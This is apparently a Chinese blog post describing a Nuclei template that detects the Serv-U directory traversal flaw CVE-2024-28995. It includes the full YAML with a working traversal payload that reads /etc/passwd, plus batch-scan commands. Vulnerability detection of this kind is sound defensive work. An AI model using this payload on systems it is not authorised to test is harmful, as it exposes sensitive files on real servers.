Serv-U 目录遍历漏洞检测模板 (CVE-2024-28995)

2 阅读4分钟

Serv-U 目录遍历漏洞检测模板 (CVE-2024-28995)

一个专业的 Nuclei 安全扫描模板,用于检测 Serv-U 文件传输服务器 15.4.2 及以下版本中的目录遍历漏洞。该漏洞(CVE-2024-28995)允许攻击者通过精心构造的请求读取系统上的任意敏感文件。

功能特性

  • 精准漏洞检测:针对 CVE-2024-28995 目录遍历漏洞进行专门检测
  • 多条件匹配:结合响应状态码、响应体关键词和响应头 Server 字段进行综合判断
  • 敏感文件验证:通过尝试读取 /etc/passwd 文件并匹配用户条目来确认漏洞存在
  • 易于集成:符合 Nuclei 模板规范,可无缝集成到自动化安全扫描流程中
  • 低误报设计:同时匹配文件内容特征和服务器类型,有效减少误报

安装指南

前置要求

  • Nuclei 引擎(v2.0.0 或更高版本)
  • 目标 Serv-U 服务器版本 ≤ 15.4.2

安装步骤

  1. 确保 Nuclei 已安装

    nuclei -version
    

    如果未安装,请参考官方文档进行安装:

    # Go 安装方式
    go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
    
  2. 保存模板文件 将以下内容保存为 CVE-2024-28995.yaml

    id: CVE-2024-28995
    
    info:
      name: Serv-U Directory Traversal Vulnerability
      author: Hüseyin TINTAŞ
      severity: high
      description: Checks for directory traversal vulnerability in Serv-U versions 15.4.2 and below, which allows reading sensitive files like /etc/passwd.
      reference:
        - https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
      tags: pathtraversal,cve,high,serv-u
    
    requests:
      - method: GET
        path:
          - "{{BaseURL}}/?InternalDir=\\..\\..\\..\\..\\etc^&InternalFile=passwd"
    
        matchers-condition: and
        matchers:
          - type: word
            words:
              - "root:x:"
              - "daemon:x:"
              - "bin:x:"
            part: body
    
          - type: status
            status:
              - 200
    
          - type: word
            words:
              - "Server: Serv-U"
            part: header
    

使用说明

基础用法

扫描单个目标 URL:

nuclei -t CVE-2024-28995.yaml -u http://target-ip:port

典型使用场景

1. 批量扫描多个目标

创建一个 targets.txt 文件,每行一个目标 URL:

http://192.168.1.100:8080
http://192.168.1.101:8080
https://servu.example.com

执行批量扫描:

nuclei -t CVE-2024-28995.yaml -l targets.txt

2. 详细输出模式

获取更详细的扫描信息:

nuclei -t CVE-2024-28995.yaml -u http://target-ip:8080 -verbose

3. 输出结果到文件

将扫描结果保存到 JSON 文件:

nuclei -t CVE-2024-28995.yaml -u http://target-ip:8080 -json -o results.json

4. 与其他模板组合使用

同时运行多个漏洞检测:

nuclei -t cves/ -u http://target-ip:8080 -tags cve

扫描结果解读

  • 发现漏洞时:Nuclei 会输出红色的 [HIGH] 级别告警,显示漏洞详情
  • 未发现漏洞时:无输出或显示扫描完成信息
  • 匹配逻辑:同时满足以下三个条件才判定为存在漏洞:
    • HTTP 响应状态码为 200
    • 响应体中包含 /etc/passwd 特征字符串(如 root:x:
    • 响应头中包含 Server: Serv-U

核心代码

以下是模板的核心检测逻辑解析:

# 模板唯一标识符
id: CVE-2024-28995

# 漏洞信息元数据
info:
  name: Serv-U Directory Traversal Vulnerability
  author: Hüseyin TINTAŞ
  severity: high  # 高危漏洞
  description: 检测 Serv-U 15.4.2 及以下版本中的目录遍历漏洞
  tags: pathtraversal,cve,high,serv-u

# 检测请求定义
requests:
  - method: GET  # 使用 GET 方法发送请求
    
    # 构造目录遍历路径
    # 使用反斜杠遍历目录,尝试读取 /etc/passwd 文件
    path:
      - "{{BaseURL}}/?InternalDir=\\..\\..\\..\\..\\etc^&InternalFile=passwd"

    # 匹配条件:所有条件必须同时满足(AND 逻辑)
    matchers-condition: and
    
    # 定义匹配器列表
    matchers:
      # 匹配器 1:检查响应体中的关键词
      - type: word
        words:
          - "root:x:"      # Linux passwd 文件特征
          - "daemon:x:"    # 系统用户条目
          - "bin:x:"       # 系统用户条目
        part: body         # 在响应体中匹配

      # 匹配器 2:检查 HTTP 状态码
      - type: status
        status:
          - 200            # 请求成功

      # 匹配器 3:检查响应头中的服务器类型
      - type: word
        words:
          - "Server: Serv-U"  # 确认目标为 Serv-U 服务器
        part: header          # 在响应头中匹配

检测原理说明:

  1. 路径遍历构造:通过 InternalDir 参数使用 \.. 序列向上遍历目录,结合 InternalFile 参数指定目标文件
  2. 敏感文件读取:尝试读取 Linux 系统的 /etc/passwd 文件
  3. 特征匹配验证:同时检查文件内容特征、服务器类型和响应状态,确保准确识别漏洞 6HFtX5dABrKlqXeO5PUv/waQEpqmnQorg25hgqPbIJOKjaOnyJA5WlX85EPQWsw7